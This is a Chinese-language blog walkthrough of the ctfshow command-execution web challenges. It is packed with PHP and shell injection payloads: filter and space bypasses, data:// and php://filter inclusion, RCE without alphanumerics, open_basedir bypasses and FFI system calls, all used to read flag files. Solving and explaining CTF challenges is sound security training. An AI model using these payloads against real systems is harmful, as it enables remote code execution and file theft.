Z1d10tのBlog

A note for myself,have fun!

  1. 1. WEB-32(绕括号,分号)
  2. 2. WEB-37(data协议 日志包含 绕flag)
  3. 3. WEB-39(文件包含有后缀干扰)
  4. 4. WEB-40(无参RCE构造)
    1. 4.1. 解法一
    2. 4.2. 解法二
  5. 5. WEB-41(或运算)
  6. 6. WEB-42(黑洞)
  7. 7. WEB-43(&&)
  8. 8. WEB-45(绕空格)
  9. 9. WEB-46~51(重定向绕空格数字$)
  10. 10. WEB-51(${IFS}绕空格)
  11. 11. WEB-53(空字符绕空格)
  12. 12. WEB-54(绕正则)
  13. 13. WEB-55~56(无字母数字rce)
    1. 13.1. 解法一
    2. 13.2. 解法二
  14. 14. WEB-57(特殊方法构造数字)
  15. 15. WEB-58~65(文件读取函数)
  16. 16. WEB-66(waf show_source())
  17. 17. WEB-67(waf print_r())
  18. 18. WEB-68~70(waf highlight_file())
  19. 19. WEB-71(输出缓冲区)
  20. 20. WEB-72(php原生类+UAF)
  21. 21. WEB-72~74(php原生类)
  22. 22. WEB-75~76(mysql load_file())
  23. 23. WEB-77(FFI)
  24. 24. WEB-118(${PATH})
  25. 25. WEB-119~124(奇淫构造paylaod)
  26. 26. 结尾:

ctfshow-命令执行

WEB-32(绕括号,分号)

include不用括号,分号可以用?>代替

利用文件包含+伪协议

1
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

WEB-37(data协议 日志包含 绕flag)

文件包含用data协议base64编码绕flag正则

1
2
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
?c=data://text/palin,<?php system("nl fla*");?>

或者先/一句话木马再日志包含 注意url编码问题

WEB-39(文件包含有后缀干扰)

1
c=data:text/plain,<?php system('cat f*')?>

前面的php语句已经闭合了,所以后面的.php会被当成纯文本直接显示在页面上,起不到什么作用 。

WEB-40(无参RCE构造)

解法一

无参RCE构造 根据buu一道题目的套娃来做

1
?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

具体可以看我的文章https://z1d10t.github.io/post/2ed7a105.html?highlight=%E5%A5%97%E5%A8%83

解法二

1
?c=eval(array_pop(next(get_defined_vars())));

post一个1=system('cmd');

get_defined_vars() — 返回由所有已定义变量所组成的数组

img

发现有post数组 然后post一个值

post:1=phpinfo();

img

将其弹出并且执行就行 这里指针在第一个元素 将其指向第二个元素 即我们需要的

array_pop — 弹出数组最后一个单元(出栈)

这里在弹出前用next指针指向了 所以并没有弹出最后一个元素,我是这么理解的

1
?c=print_r(array_pop(next(get_defined_vars())));

img

得到了我们需要的,然后eval执行就行了

img

WEB-41(或运算)

直接当个脚本小子:)

https://blog.csdn.net/miuzzx/article/details/108569080

WEB-42(黑洞)

具体可以看https://www.cnblogs.com/tinywan/p/6025468.html

1
system($c." >/dev/null 2>&1");

简单说就算$c的内容都会被重定向到一个黑洞就是没有任何输出,相当于被吞掉了

通过%0a,%20截断绕过就行了

WEB-43(&&)

逻辑与

先执行左边,只有左边为真,才会执行右边

注意一下这里&&要url编码一下

WEB-45(绕空格)

1
${IFS}

img

1
?c=tac${IFS}fla*.php%0a

WEB-46~51(重定向绕空格数字$)

参考:http://c.biancheng.net/view/942.html

关于 2>&1

img

?c=tac<fla''g.php||或者nl也行

img

就是将flag.php作为tac的输入 然后利用||逻辑或绕%0a和&& 输入重定向去绕空格

WEB-51(${IFS}绕空格)

waf了重定向符

或者用${IFS}或者$IFS 其实两者是相等的

关于${}

img

1
2
?c=nl${IFS}/fla?||
?c=nl${IFS}/fla''g||

WEB-53(空字符绕空格)

不是你这个flag文件夹能不能别老是变动

1
2
?c=nl${IFS}/fla?
?c=c''at${IFS}fla''g.p''hp

WEB-54(绕正则)

关于.*img

linux一切都是文件 通过文件执行命令 在bin目录下存放着命令文件 我们一般调用命令系统就会调用这里的文件(我是这么认为的)

img

1
?c=/bin/?at${IFS}f???????

?是通配符 去模糊匹配一个字符

WEB-55~56(无字母数字rce)

解法一

参考p神https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

认识source和.

img

也就是说source或者.当然这道题目只能用.来执行我们文件中命令 也就是把我们的文件当作脚本运行

不知道为什么我本地没打通 估计是后续这个漏洞被修复了

img

那么就需要一个包含我们恶意命令的文件 直接构造一个post上传的数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://ec5969bd-4909-4435-9d77-ac7ffe92bbfe.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

当我们上传上去之后 PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

然后在进行.和linux通配符组合拳去打

这里payload根据p神的文章?c=. /???/????????[@-[]要利用[@-[]去限制下最后一位为大写 不然匹配到很多文件无结果 因此打payload的时候有时候会匹配不到 用bp多提交几次就行

img

随便上传一个文件 然后内容:

1
2
#!/bin/sh
ls /

img

当然bash或者zsh等等都行 shell具体解释器都可以

img

解法二

其实也是利用通配符去执行命令文件 ?c=/???/????64 ????.???

其实就是去执行 /bin/base64 flag.php

WEB-57(特殊方法构造数字)

根据题目flag在36.php中 那么我们只需要构造出数字36即可

首先来认识一下${_}和$(())

${_} 是一种特殊的变量,它表示上一个命令的最后一个参数

img

注意一下 如果没有上一个命令则表示为空

在Linux中,$(())是一种用于进行数学运算的特殊语法结构。它通常用于shell脚本中,用于求值一个数学表达式并返回结果。

那么计算空字符就是0 可以$((${_}))打组合拳

img

这样就可以构造出数字了

再通过按位取反不断的构造出数字 当时对按位取反还是有点疑惑 不过知乎上一篇稿子解答了我的疑惑https://zhuanlan.zhihu.com/p/161465089

img

计算机所有二进制输出都是补码的形式 这句话解答了我对补码的疑惑

简单理解就是如下:

img

img

然后通过取反得到-1 再拼接得到-2

img

这样不断的拼接到-37 然后再取反就得到36了

payload:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

WEB-58~65(文件读取函数)

system一类的函数都被禁了 所以只能用php中的特殊函数 用文件读取的函数读就行了

img

post:c=show_source('flag.php');

c=highlight_file('flag.php');有很多类似于无参rce构造呢种套娃

WEB-66(waf show_source())

1
c=print_r(scandir('/'));

img

当前目录下的flag.php是假的

show_source()被waf了 用highlight_file()读flag.txt即可

1
c=highlight_file('/flag.txt');

WEB-67(waf print_r())

用var_dump() bypass即可

1
c=highlight_file('/flag.txt');

WEB-68~70(waf highlight_file())

因为禁用了highlight_file()所以源码也不显示了 2333 而且好多题目的payload都可以打通好几个关卡 题目太多质量真不太行

1
c=include('/flag.txt');

WEB-71(输出缓冲区)

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

涉及到输出缓冲区知识

ob_get_contents()

img

ob_end_clean()

img

根据源码 我的理解是将eval()输出的内容会到输出缓存区

然后通过ob_get_contents()函数赋值给s 然后通过一个正则匹配将内容替换不让我们得到我们想要的flag

那么如果我们执行完eval()函数之后不进行之后的操作就可以bypass了 这也是官方payload的原理

img

因为根据官方文档 exit是个语法结构 如果不输出一个消息 则可以省略圆括号 就有下面两种paylaod

1
2
c=include('/flag.txt');exit;
c=include('/flag.txt');exit(0);

WEB-72(php原生类+UAF)

这道题目看大佬的WP是 开启了open_basedir。

因此需要打组合拳

DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。

这道题目用到了php原生类 之前有了解过 https://xz.aliyun.com/t/9293#toc-13

1
2
3
4
5
6
7
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

先通过这个payload 获取flag文件名

首先通过?>先闭合之前的<?php再通过原生类DirectoryIterator()不断遍历来获取根目录下的文件

glob://协议 查找匹配的文件路径模式

glob:///*应该怎么理解呢 就是查找 根目录下/*这里的*就是linux的通配符 就是说根目录下的所有文件都被会读取

__toString()方法可以获取字符串形式的文件名

读取的时候需要不断地遍历 因此需要

img

发现flag在flag0.txt 之后是pwn的知识我挺懵逼的

通过UAF脚本去读flag 挺夸张的

WEB-72~74(php原生类)

和上面一样通过原生类获取flag文件名 然后这里可以直接用include()函数读flag即可

1
c=include('/flagc.txt');exit;

WEB-75~76(mysql load_file())

这题目太抽象了 连接mysql通过mysql的load_file()去读文件 。。。

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

WEB-77(FFI)

img

我的理解是让php直接调用底层c语言的函数利用c代码实现功能

1
2
3
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

FFI::cdef()创建一个FFI对象

img

然后利用c语言调用system()函数

img

WEB-118(${PATH})

fuzz一下发现只能用 大写字母A-Z和${}~.?:

通过linux环境变量截取字母方式构造rce

img

关于PATH

img

然后截取我们想要的字母RCE即可

构造 nl flag.php

${PATH:~A}${PWD:~A}$IFS????.??? 这里A和数字0是一样的效果都是下标 然后~表示从末尾开始截取

在这里我们的默认位置为/var/www/html 因此才能截取到l

WEB-119~124(奇淫构造paylaod)

wal了PATH直接偷了payload

119:

1
2
3
4
/bin/cat flag.php
code=${HOME:${#}:${##}}???${HOME:${#}:${##}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
/bin/base64 flag.php
code=${HOME:${#}:${##}}???${HOME:${#}:${##}}?????${#RANDOM} ????.???

120:

1
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

121:

1
2
3
4
/bin/bash64
code=${PWD:${#}:${##}}???${PWD:${#}:${##}}?????${#RANDOM} ????.???
/bin/rev
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

122:

#SHLVL都不能用了,可以用$?来表示1

通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

但是默认$?默认为0 可以 <A 返回的错误值 使得 $? 为1

img

paylaod:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? 多试几次就能成功

124:

buuctf Love math一模一样的题目 我博客也写过不赘述了

payload稍稍不同

1
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat%20flag.php

结尾:

哦 终于结束这一章了 断断续续三天日完了 做吐了 开启下一章! Keep Hacking!

本文最后更新于 天前,文中所描述的信息可能已发生改变